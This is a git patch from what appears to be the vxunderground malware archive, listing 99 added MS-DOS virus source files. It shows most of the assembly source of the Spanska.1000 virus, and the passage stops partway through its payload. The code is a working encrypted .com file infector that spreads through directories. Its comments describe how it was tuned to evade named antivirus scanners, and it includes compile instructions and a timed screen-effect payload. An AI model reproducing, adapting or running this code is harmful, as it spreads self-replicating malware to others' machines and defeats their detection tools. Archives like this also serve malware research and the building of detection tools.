From 5dd4938a52de3fc08ec45fc1233a951f9a79d6bd Mon Sep 17 00:00:00 2001 From: vxunderground <57078196+vxunderground@users.noreply.github.com> Date: Tue, 12 Jan 2021 17:58:25 -0600 Subject: [PATCH] Add files via upload --- MSDOS/Virus.MSDOS.Unknown.Spanska.1000 | 667 ++++++++++ MSDOS/Virus.MSDOS.Unknown.Spanska.1500 | 1135 ++++++++++++++++ MSDOS/Virus.MSDOS.Unknown.rme11.asm | 324 +++++ MSDOS/Virus.MSDOS.Unknown.rnd.asm | 68 + MSDOS/Virus.MSDOS.Unknown.roach.asm | 311 +++++ MSDOS/Virus.MSDOS.Unknown.root.asm | 249 ++++ MSDOS/Virus.MSDOS.Unknown.rsv.asm | 160 +++ MSDOS/Virus.MSDOS.Unknown.rtl4.asm | 265 ++++ MSDOS/Virus.MSDOS.Unknown.rtm.asm | 543 ++++++++ MSDOS/Virus.MSDOS.Unknown.rush_vir.asm | 242 ++++ MSDOS/Virus.MSDOS.Unknown.rushhour.asm | 323 +++++ MSDOS/Virus.MSDOS.Unknown.s35.asm | 311 +++++ MSDOS/Virus.MSDOS.Unknown.s4.asm | 581 +++++++++ MSDOS/Virus.MSDOS.Unknown.s70x.asm | 781 +++++++++++ MSDOS/Virus.MSDOS.Unknown.saclink.asm | 435 +++++++ MSDOS/Virus.MSDOS.Unknown.sad.asm | 225 ++++ MSDOS/Virus.MSDOS.Unknown.sarah.asm | 283 ++++ MSDOS/Virus.MSDOS.Unknown.saratoga.asm | 549 ++++++++ MSDOS/Virus.MSDOS.Unknown.sat-bug.asm | 1663 ++++++++++++++++++++++++ MSDOS/Virus.MSDOS.Unknown.satanbug.asm | 1663 ++++++++++++++++++++++++ MSDOS/Virus.MSDOS.Unknown.satnlh.asm | 354 +++++ MSDOS/Virus.MSDOS.Unknown.sauron.asm | 313 +++++ MSDOS/Virus.MSDOS.Unknown.scramble.asm | 644 +++++++++ MSDOS/Virus.MSDOS.Unknown.screamii.asm | 577 ++++++++ MSDOS/Virus.MSDOS.Unknown.scrn2.asm | 230 ++++ MSDOS/Virus.MSDOS.Unknown.scrn3.asm | 251 ++++ MSDOS/Virus.MSDOS.Unknown.scrn4.asm | 55 + MSDOS/Virus.MSDOS.Unknown.scroll.asm | 426 ++++++ MSDOS/Virus.MSDOS.Unknown.scroller.asm | 99 ++ MSDOS/Virus.MSDOS.Unknown.scrunch.asm | 251 ++++ MSDOS/Virus.MSDOS.Unknown.sd-swe.asm | 260 ++++ MSDOS/Virus.MSDOS.Unknown.sd.asm | 238 ++++ MSDOS/Virus.MSDOS.Unknown.serg114.asm | 85 ++ MSDOS/Virus.MSDOS.Unknown.sergant.asm | 88 ++ MSDOS/Virus.MSDOS.Unknown.servant.asm | 294 +++++ MSDOS/Virus.MSDOS.Unknown.sex666.asm | 1069 +++++++++++++++ MSDOS/Virus.MSDOS.Unknown.sh.asm | 1014 +++++++++++++++ MSDOS/Virus.MSDOS.Unknown.sh.map | 9 + MSDOS/Virus.MSDOS.Unknown.shellt.asm | 19 + MSDOS/Virus.MSDOS.Unknown.shhs.asm | 239 ++++ MSDOS/Virus.MSDOS.Unknown.shiftobj.asm | 452 +++++++ MSDOS/Virus.MSDOS.Unknown.shinyhap.asm | 543 ++++++++ MSDOS/Virus.MSDOS.Unknown.shithole.asm | 98 ++ MSDOS/Virus.MSDOS.Unknown.simpson.asm | 381 ++++++ MSDOS/Virus.MSDOS.Unknown.sims.asm | 225 ++++ MSDOS/Virus.MSDOS.Unknown.sisoruen.asm | 281 ++++ MSDOS/Virus.MSDOS.Unknown.sk.asm | 428 ++++++ MSDOS/Virus.MSDOS.Unknown.sk1.asm | 412 ++++++ MSDOS/Virus.MSDOS.Unknown.sk2.asm | 298 +++++ MSDOS/Virus.MSDOS.Unknown.sk20h.asm | 433 ++++++ MSDOS/Virus.MSDOS.Unknown.skeleton.asm | 302 +++++ MSDOS/Virus.MSDOS.Unknown.slian.asm | 277 ++++ MSDOS/Virus.MSDOS.Unknown.slim1.asm | 51 + MSDOS/Virus.MSDOS.Unknown.slim2.asm | 146 +++ MSDOS/Virus.MSDOS.Unknown.smal.asm | 230 ++++ MSDOS/Virus.MSDOS.Unknown.small.asm | 190 +++ MSDOS/Virus.MSDOS.Unknown.smash.asm | 190 +++ MSDOS/Virus.MSDOS.Unknown.smile.asm | 1142 ++++++++++++++++ MSDOS/Virus.MSDOS.Unknown.smile1.asm | 1142 ++++++++++++++++ MSDOS/Virus.MSDOS.Unknown.smlboot.asm | 255 ++++ MSDOS/Virus.MSDOS.Unknown.smurf.asm | 69 + MSDOS/Virus.MSDOS.Unknown.soitgoes.asm | 190 +++ MSDOS/Virus.MSDOS.Unknown.soldierb.asm | 669 ++++++++++ MSDOS/Virus.MSDOS.Unknown.som.asm | 405 ++++++ MSDOS/Virus.MSDOS.Unknown.sparse.asm | 356 +++++ MSDOS/Virus.MSDOS.Unknown.spyte.asm | 304 +++++ MSDOS/Virus.MSDOS.Unknown.squish.asm | 375 ++++++ MSDOS/Virus.MSDOS.Unknown.stack.asm | 198 +++ MSDOS/Virus.MSDOS.Unknown.stackvir.asm | 174 +++ MSDOS/Virus.MSDOS.Unknown.stealth.asm | 1219 +++++++++++++++++ MSDOS/Virus.MSDOS.Unknown.ster2.asm | 517 ++++++++ MSDOS/Virus.MSDOS.Unknown.sterculi.asm | 421 ++++++ MSDOS/Virus.MSDOS.Unknown.stinger.asm | 436 +++++++ MSDOS/Virus.MSDOS.Unknown.stnd.asm | 247 ++++ MSDOS/Virus.MSDOS.Unknown.stone.asm | 283 ++++ MSDOS/Virus.MSDOS.Unknown.stoned.asm | 533 ++++++++ MSDOS/Virus.MSDOS.Unknown.stoned2a.asm | 177 +++ MSDOS/Virus.MSDOS.Unknown.stoned_f.asm | 285 ++++ MSDOS/Virus.MSDOS.Unknown.stonedii.asm | 177 +++ MSDOS/Virus.MSDOS.Unknown.subcon.asm | 259 ++++ MSDOS/Virus.MSDOS.Unknown.subr.asm | Bin 0 -> 1152 bytes MSDOS/Virus.MSDOS.Unknown.suicide.asm | 167 +++ MSDOS/Virus.MSDOS.Unknown.summer97.rar | Bin 0 -> 27845 bytes MSDOS/Virus.MSDOS.Unknown.sumsdos.asm | 786 +++++++++++ MSDOS/Virus.MSDOS.Unknown.sundevil.asm | 364 ++++++ MSDOS/Virus.MSDOS.Unknown.sunrise.asm | 502 +++++++ MSDOS/Virus.MSDOS.Unknown.super.asm | 796 ++++++++++++ MSDOS/Virus.MSDOS.Unknown.survive.asm | 226 ++++ MSDOS/Virus.MSDOS.Unknown.susan1.asm | 388 ++++++ MSDOS/Virus.MSDOS.Unknown.svc5-a.asm | 1377 ++++++++++++++++++++ MSDOS/Virus.MSDOS.Unknown.sw.asm | 223 ++++ MSDOS/Virus.MSDOS.Unknown.swansngb.asm | 630 +++++++++ MSDOS/Virus.MSDOS.Unknown.swap.asm | 551 ++++++++ MSDOS/Virus.MSDOS.Unknown.swap.vir | 551 ++++++++ MSDOS/Virus.MSDOS.Unknown.swap_p.asm | 437 +++++++ MSDOS/Virus.MSDOS.Unknown.swapping.asm | 551 ++++++++ MSDOS/Virus.MSDOS.Unknown.sysinf.asm | 311 +++++ MSDOS/Virus.MSDOS.Unknown.syslock.asm | 224 ++++ MSDOS/Virus.MSDOS.Unknown.syslockm.asm | 1459 +++++++++++++++++++++ 99 files changed, 41606 insertions(+) create mode 100644 MSDOS/Virus.MSDOS.Unknown.Spanska.1000 create mode 100644 MSDOS/Virus.MSDOS.Unknown.Spanska.1500 create mode 100644 MSDOS/Virus.MSDOS.Unknown.rme11.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.rnd.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.roach.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.root.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.rsv.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.rtl4.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.rtm.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.rush_vir.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.rushhour.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.s35.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.s4.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.s70x.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.saclink.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.sad.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.sarah.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.saratoga.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.sat-bug.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.satanbug.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.satnlh.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.sauron.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.scramble.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.screamii.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.scrn2.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.scrn3.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.scrn4.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.scroll.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.scroller.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.scrunch.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.sd-swe.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.sd.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.serg114.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.sergant.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.servant.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.sex666.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.sh.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.sh.map create mode 100644 MSDOS/Virus.MSDOS.Unknown.shellt.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.shhs.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.shiftobj.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.shinyhap.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.shithole.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.simpson.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.sims.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.sisoruen.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.sk.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.sk1.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.sk2.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.sk20h.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.skeleton.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.slian.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.slim1.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.slim2.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.smal.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.small.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.smash.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.smile.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.smile1.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.smlboot.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.smurf.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.soitgoes.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.soldierb.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.som.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.sparse.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.spyte.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.squish.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.stack.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.stackvir.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.stealth.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.ster2.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.sterculi.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.stinger.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.stnd.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.stone.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.stoned.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.stoned2a.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.stoned_f.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.stonedii.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.subcon.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.subr.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.suicide.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.summer97.rar create mode 100644 MSDOS/Virus.MSDOS.Unknown.sumsdos.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.sundevil.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.sunrise.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.super.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.survive.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.susan1.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.svc5-a.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.sw.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.swansngb.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.swap.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.swap.vir create mode 100644 MSDOS/Virus.MSDOS.Unknown.swap_p.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.swapping.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.sysinf.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.syslock.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.syslockm.asm diff --git a/MSDOS/Virus.MSDOS.Unknown.Spanska.1000 b/MSDOS/Virus.MSDOS.Unknown.Spanska.1000 new file mode 100644 index 00000000..00b69342 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.Spanska.1000 @@ -0,0 +1,667 @@ +; NO PASARAN virus version 2 by Spanska +; Called Spanska.1000 by AV people +; This is my first virus +; +;*********************************************************************** +; +; This virus is dedicated to all spanish and international young +; guys who fighted against fascist army during Spanish Civil War +; (1936-1939). They said "THEY SHALL NOT PASS!" +; +;********************************contact me at el_gato@rocketmail.com*** +; +; No flag with TBSCAN +; At the time it was released (january 97), was not detected by +; TBSCAN, FPROT, AVP, DrSolly FINDVIRUS in heuristic mode +; but by DrWeb in heuristic mode (i didn't know this program...) +; +; generation zero size: 3537 bytes +; virus size: 1000 bytes +; +; Compile it with TASM /m2 and TLINK /t +; +; Properties: +; simple .com runtime infector +; not destructive +; encrypted with variable key +; infects 7 files each run +; infects current directory, than upper directories +; when it reaches the root, it starts infecting all "level1" subdirectories +; doe not infect files >60,000 or <100 bytes, nor command.com +; the VGA graphic bomb (a fire effect) explodes when minutes=22 +; and seconds<30 (1/120) + +code segment + assume ds:code, ss:code, cs:code, es:code + org 100h +; +;---------------fake host code-------------------- +; +hote: +call virus ;jump to viral code (avoid J flag) +signature db "lc" ;virus signature +nop ; +nop ;fake host +nop ; +nop ; +mov ah, 4ch ;finished +mov al,0 ;go to +int 21h ;DOS + +;********************************************************************** +; START OF VIRAL CODE +;********************************************************************** + +virus: ;virus starts here +jmp evite ;avoid next routine + +;=== simulation of a stosb === +;=== when outside decrypt loop === +;=== do not flag # === +baise_flag_cryptage: ;=== +mov [di], al ;=========>>> NO MORE FLAG "#" !!!!! +inc di ;=== +ret ;=== +;=================================== +; +;---------------get delta offset---------------------------- +; +evite: +call $+3 ;modified classic +delta: ;routine to +mov bp, sp ;avoid flag E +mov ax, [bp] ; +add word ptr [bp], decrypte-delta ;thanks Slacker's Theory +sub ax, offset delta ;of Code through Obscurity! +mov bp, ax +ret +; +;----------------------decrypting routine------------------------- +; +decrypte: +mov dl, [bp+offset clef] ;get actual key +mov cx, fin_cryptage - debut_cryptage ; +lea si, [bp+offset debut_cryptage] ; +mov di, si ; +xor_loop: ;decrypt loop +mov al, [si] ; +inc si ; +xor al, dl ; +call baise_flag_cryptage ;call the fake stosb to avoid flag # +loop xor_loop +; +;-----initialization to 0 of both infection and directory counters-------- +; +debut_cryptage: ;crypted zone starts here +mov byte ptr [bp+offset compteur], 0 ;infection counter +mov byte ptr [bp+offset phase], 0 ;directory counter +; +;-----------------------remember current repertory----------------------- +; +lea si, [bp+offset repert] ; +xor dl, dl ; +mov ah, 47h ; +int 21h ; +; +;-----------------DTA go to a predefined zone in memory------------------ +; +push 1a00h ;push/pop to +pop ax ;avoid flag F +lea dx, [bp+offset dta] ; +int 21h ; +; +;------------------------find first file--------------------------------- +; +recherche: +mov cx, 0007h ; +lea dx, [bp+offset file_type] ; +mov ax, 4e00h ; +int 21h ;file found? +jnc sauter_suivant ;yes => c=0, let's continue +jmp rep_sup ;no => go to upper directory +; +;---------------------------find next file-------------------------------- +; +fichier_suivant: +lea dx, [bp+offset file_type] ; +mov ax, 4f00h ; +mov cx, 0007h ; +int 21h ;file found? +jnc saut5 ;yes => c=0, let's continue +jmp rep_sup ;no => go to upper direcory +saut5: +; +;---------------verify if extension is really .com--------------------- +; (it's made to avoid flag S with tbscan) +; (and to avoid AVP detection 'cause AVP detects all combinations +; like .c?m, .?om..., BUT .c*) +; +sauter_suivant: +mov cx, 13d ;max size of a file name (not really, but +lea si, [bp+offset dta+1eh] ;who cares? I've stolen this routine somewhere) +compare: ;loop for detecting start of the extension +lodsb ;letter in al +cmp al, "." ;is it a point? +jne compare ;no => test next letter +inc si ;yes => si points on second extension letter +cmp word ptr [si], "MO" ;second and third letters are "OM"? +jne fichier_suivant ;no => find next file +; +;-------------------verify if it's command.com---------------------------- +; +cmp word ptr [bp+offset dta+1eh+2], "MM" +je fichier_suivant ;yes => find next file +; +;------------attributes to 0 to infect special files--------------------- +; +lea dx, [bp+offset dta+1eh] ;file name pointed with dx +push 4301h ;push/pull to +pop ax ;avoid flag F +xor cx, cx ; +int 21h ; +; +;---------------------------open file------------------------------------ +; +mov ax, 3D02h ; +lea dx, [bp+offset dta+1eh] ; +int 21h ;file found? +jnc saut2 ;yes => c=0, let's continue +jmp remise_en_etat ;no => arrange file and close it +saut2: ; +mov [bp+offset handle],ax ; +; +;-----------------read 5 first bytes of the file--------------------- +; +xchg ax, bx ; +mov cx, 5 ; +mov ax, 3F00h ; +lea dx, [bp+offset contenu] ;bytes go to "contenu" zone +int 21h ;file found? +jnc saut3 ;yes => c=0, let's continue +jmp remise_en_etat ;no => arrange file and close it +saut3: ; +; +;------------------is the file already infected?----------------------- +; +cmp word ptr [bp+offset contenu+3], "cl" ;compare with signature +jnz saut4 ;not infected => z=0, let's continue +jmp remise_en_etat ;already infected => arrange file and close +saut4: ; +; +;-----------------------is the size correct?--------------------------- +; +cmp word ptr [bp+offset dta+1ah], 60000 ;compare size with 60000 +jna pas_trop_gros ;is it bigger? +jmp remise_en_etat ;yes => find next file +pas_trop_gros: ;no => other verification +cmp word ptr [bp+offset dta+1ah], 100 ;compare size with 100 +jnb verif_ok ;if >100 let's continue +; +;--------arrange file and close it in case of non-infection------------- +; +remise_en_etat: +mov ah, 3Eh ; +int 21h ;close it +; +;------------------restore attributes----------------------------------- +; +lea dx, [bp+offset dta+1eh] ; +xor ch, ch ; +mov cl, byte ptr [bp+offset dta+15h] ;attributes are still in the DTA +push 4301h ;push/pop to +pop ax ;avoid flag F +int 21h ; +; +;----------after arranging the file, let's find another one------------- +; +jmp fichier_suivant ;go to find-next routine +; +;-------------------disk file pointer at the end------------------- +; +verif_ok: +mov ax, 4202h ; +xor cx, cx ; +mov dx, cx ; +int 21h ; +; +;----------------------infection routine------------------------------ +; +;first, let's write non-encrypted part +; +mov ax, 4000h ; +mov cx, debut_cryptage - virus ; +lea dx, [bp+offset virus] ; +int 21h ; +; +;second, let's crypt next part in memory +; +mov cl, [bp+offset cinq_octets+1] ;cl=new key +mov byte ptr [bp+offset clef_temp], cl ;on a temporary zone +lea si, [bp+offset debut_cryptage] ;si=start of the crypted zone +lea di, [bp+offset zone_de_travail] ;di=temporary mem zone for crypting +xchg cl, dl ;key in dl +mov cx, fin_cryptage - debut_cryptage ;cx=number of bytes to crypt +crypte_et_transfere: ; +lodsb ; +xor al, dl ;classic XOR crypting loop +stosb ; +loop crypte_et_transfere ; +; +;third, disk writing of the crypted zone +; +mov ax, 4000h ; +mov cx, fin_cryptage - debut_cryptage ;number of bytes to write +lea dx, [bp+offset zone_de_travail] ; +int 21h ; +; +;------write on disk real 5 first bytes of the file+new crypt key-------- +;----from "contenu" zone in memory to "cinq_octets" zone on the disk)---- +; +;1) move disk file pointer to good zone +; +xor cx, cx ; +mov dx, word ptr [bp+offset dta+1ah] ;non-infected file size in dx +add dx, cinq_octets - virus ;add offset of good zone +mov ax, 4200h ; +int 21h ; +; +;2) move memory pointer to good zone, and transfer +; +mov cx, 6 ;we will write 6 bytes +lea dx, [bp+offset contenu] ;("contenu" + "clef_temp") +push 4000h ;so 5 first bytes + new key +pop ax ;this push/pop is not necessary +int 21h ; +; +;--overwrite 5 first bytes on the disk by jump to virus code + signature--- +; +;1) move disk file pointer to start of the file +; +xor cx,cx ; +mov dx, cx ; +mov ax, 4200h ; +int 21h ; +; +;2) calculate initial jump and write all on a temp zone in memory +;(NB: we use the "contenu" memory zone which is not more util) +; +mov byte ptr [bp+offset contenu], 0e8h ;E8=opcode of CALL +mov ax, word ptr [bp+offset dta+1ah] ;ax=file size +sub ax, 3 ;this is because of the CALL +mov word ptr [bp+offset contenu+1], ax ;write deplacement +mov word ptr [bp+offset contenu+3], "cl" ;write signature +; +;3) overwrite 5 first bytes on the file +; +mov cx,5 ; +lea dx, [bp+offset contenu] ; +mov ax, 4000h ; +int 21h ; +; +;-------------------restore time/date of the file------------------------ +; +mov dx, word ptr [bp+offset dta+18h] ;date in dx +mov cx, word ptr [bp+offset dta+16h] ;time in cx +push 5701h ;push/pop +pop ax ;to avoid flag F +int 21h ; +; +;-----------------------------close file--------------------------------- +; +mov ah, 3Eh ; +int 21h ; +; +;------------------------restore file attributes----------------------- +; +lea dx, [bp+offset dta+1eh] ; +xor ch, ch ; +mov cl, byte ptr [bp+offset dta+15h] ;attributes are still in DTA +push 4301h ; +pop ax ; +int 21h ; +; +;--------------verify how many files we have infected------------------ +; +mov byte ptr cl, [bp+offset compteur] ;infection counter in cl +inc cl ;one more +cmp cl, 7 ;have we infected 7 files? +je attendre ;yes => let's stop +mov byte ptr [bp+offset compteur], cl ;no => write new value of counter +; +;-----------------------let's infect a new file------------------------- +; +jmp fichier_suivant ;infect next file +; +;---------------------climb to upper directory-------------------------- +; +rep_sup: +lea dx, [bp+offset dot] ;let's go to ".." repertory +mov ah, 3bh ; +int 21h ;are we in the root? +jc on_redescend ;yes => c=1, let's go down now +jmp recherche ;no => find first file +; +;---if we are in root, let's go to all "first-level" subdirectories----- +; +on_redescend: ; +mov ah, 4eh ;find first file +mov cx, 16 ;with repertory attribute +lea dx, [bp+offset dir_masque] ;called "*.*"... +int 21h ; +jc attendre ;there are no subdirectory => stop + +cmp byte ptr[bp+offset phase], 0 ;how is the dir counter (called phase)? +je le_premier ;phase=0 => do not find next dir + +xor bh, bh ; +mov bl, byte ptr [bp+offset phase] ;bx=phase + +rep_suivant: ;loop to avoid all subdir already infected +mov cx, 16 ;rep attributes +mov ah, 4fh ;find next dir +lea dx, [bp+offset dir_masque] ; +int 21h ; +jc attendre ;there are no subdirectory => stop + +cmp byte ptr [bp+offset dta+15h], 16 ;is it really a directory? +jne rep_suivant ;no => find next + +dec bx ;this routine is made to infect +cmp bx, 0 ;directory "number phase" +jne rep_suivant ;if bx<>0, the subdir is already infected + +le_premier: +add byte ptr[bp+offset phase], 1 ;OK, we are on a subdir not infected + +lea dx, [bp+offset dta+1eh] ;so, let's change +mov ah, 3bh ;directory to it +int 21h ; + +jmp recherche ;and infect this new subdirectory +; +;-----in case of problem, or no more directory to infect, we go here------ +; +attendre: ; +; +;------------------DTA in the normal zone----------------------------- +; (to avoid perturbing host program) +; +push 1a00h ;push/pop +pop ax ;to avoid flag F +mov dx, 80h ;to 80h, the normal zone +int 21h ; +; +;------restore the directory in which we were when we started------------- +; +;primo, rapid climb until the root +; +remontee_finale: +lea dx, [bp+offset dot] ; +mov ah, 3bh ; +int 21h ; +jnc remontee_finale ;continue until we are in the root +; +;secundo, we go to the directory in which we were at start +; +lea dx, [bp+offset repert] ;we saved the dir in this zone +mov ax, 3B00h ;change dir +int 21h ; +; +;------replace 5 first bytes of the host in memory---------- +; +lea si, [bp+offset cinq_octets] ;original 5 bytes were stored here +mov ax, 101h ;classic trick to +dec ax ;avoid flag B +mov di, ax ;100h in DI for transfer +mov cx, 5 ;write 5 bytes +rep movsb ;transfer them +; +;--------------------does the bomb explode?--------------------- +; +mov ah, 2Ch ;internal clock: ch=hour et cl=minute +int 21h ; +cmp cl, 22d ;minutes = 22? +jne redonner_la_main ;no => return to host +cmp dh, 30d ;yes => test seconds +jb bombe ;if seconds <30 (1/120) the bomb explodes +; +;-----------------------return to host---------------------------- +; (remember the very first CALL: we have 103h on the stack) +; +redonner_la_main: +pop ax ;get 103h +sub ax, 3 ;we want 100h +push ax ;re-put it on stack (for the RET) +xor ax, ax ;a starting program +xor bx, bx ;likes to find all +xor cx, cx ;registers equals +xor dx, dx ;to zero. +ret ;on redonne la main au pauvre programme + +nop +nop ;just for fun: with these 3 nops, virus size is just 1000. +nop +; +;********************************************************************** +; CODE OF THE GRAPHIC BOMB: A FIRE EFFECT +;********************************************************************** +bombe: + +;--------------------------------VGA----------------------------------- + + mov ax, 13h ; + int 10h ;goto graphic mode + + +;------initialisation of the flame palette (black=>red=>white)---------- + + mov dx, 3c8h ;dx = palette port + xor al, al ;starting with color 0 + out dx, al ;write first color in the port + inc dx ;define all colors + + xor cx, cx ;component red start from 0 and augment +rouges: ;let's define colors from 0 to 62 + mov al, cl ;first component (red) equal to cl + out dx, al ;write on palette port + xor al, al ;others components (blue, green) to zero + out dx, al ;write blue component + out dx, al ;write green component + inc cx ;increment red component of color + cmp cx, 63 ;do cx reach 63? +jne rouges ;no => continue loop + + xor cx, cx ;component blue start from 0 and augment +jaunes: ;let's define colors from 63 to 125 + mov al, 63 ;component red equal to 63 + out dx, al ;write it + mov al, cl ;second component (blue) equal to cl + out dx, al ;write it + xor al, al ;third component (green) equal to zero + out dx, al ;write it + inc cx ;increment blue component of color + cmp cx, 63 ;do cx reach 63? +jne jaunes ;no => continue loop + + xor cx, cx ;component green start from 0 and augment +blancs: ;let's define colors from 126 to 188 + mov al, 63 ;components red and blue equal to 63 + out dx, al ;write red component + out dx, al ;write blue component + mov al, cl ;third component (green) equal to cl + out dx, al ;write it + inc cx ;increment green component of color + cmp cx, 63 ;do cx reach 63? +jne blancs ;no => continue loop + + mov cx, 198 ;we're going to define 198/3=66 next colors +blancfin: ;let's define colors from 189 to 254 + mov al, 255 ;all components are maximum + out dx, al ;so these colors are white +loop blancfin ; + + xor al, al ;define last color (number 255) + mov cx, 3 ;in black so we do not see the + rep out dx, al ;focus at the bottom of the flame + +;------------draw some focus at the bottom at random places-------------- + + mov ax, 0a000h ;video mem + mov es, ax ;segment in es +boucle: + mov di, (320*199)+5 ;start line 199, 5 pixels from the left side + +foyers: + call random ;bring back a random dl between 0 and 255 + cmp dl, 180 ;dl>180? + jb noir ;no => no focus, color to black + mov dl, 255 ;yes => a focus, color to white + jmp blanc ;avoid "no focus" routine + +noir: + xor dl, dl ;no focus, color to black +blanc: + mov al, dl ;load al with color + mov cx, 5 ;focuses are 5 pixels long + +zobi: + stosb ;draw focus pixel + add di, 319 ;and draw another pixel + stosb ;under the first + sub di, 320 ;(more beautiful) +loop zobi + + cmp di, (320*199)+30 ;the torch will be 30 pixels wide +jb foyers ;focus line not finished, so loop + +;--------real screen--->modification--->virtual screen------------------ + +mov di, 320*120 ;we use just the 80 bottom lines +lea si, [bp+offset ecran_virtuel] ;memory zone for calculations +mov dx, 80 ;line loop: 80 repetitions +xor ax, ax ;we gonna use ax, so put zero + +ecran: ;start of line loop + mov cx, 30 ;column loop: 30 repetitions + +modif: ;start of column loop + + mov al, es:[di] ;in al, color of current pixel + add al, es:[di+320] ;add pixel color just under it + adc ah, 0 ;result may be >255, so add carry + add al, es:[di+319] ;add pixel color under it to the left + adc ah, 0 ;add carry + add al, es:[di+641] ;add pixel 2 lines under it to the right + adc ah, 0 ;add carry + shr ax, 1 ;calculate the average color of these + shr ax, 1 ;4 pixels, dividing ax by 4 + cmp al, 0 ;is this average value black? + je bitnoir ;yes => do not decrement color + dec al ;no => decrement color + +bitnoir: + mov ds:[si], al ;write pixel with new color on memory + inc si ;next pixel on memory (virtual screen) + inc di ;next pixel on screen (real screen) + +loop modif ;finish the line + +add di, (320-30) ;on screen, go to first pixel of next line +dec dx ;dx = line counter, decrement it +cmp dx, 0 ;are we to the bottom of the screen? +jne ecran ;no => let's go to next line + +;----------------virtual screen--->real screen------------------------- + +mov di, (320*120) ;di points to line 120 on real screen +lea si, [bp+offset ecran_virtuel] ;si points to start of virtual screen + +xor dx, dx ;line counter to zero + +deux_flammes: + mov cx, 30 ;copy one line to the + rep movsb ;left side of the screen + sub si, 30 ;virtual: rewind to the start of the same line + add di, 230 ;real: draw the second torch at column 230+30+5 + mov cx, 30 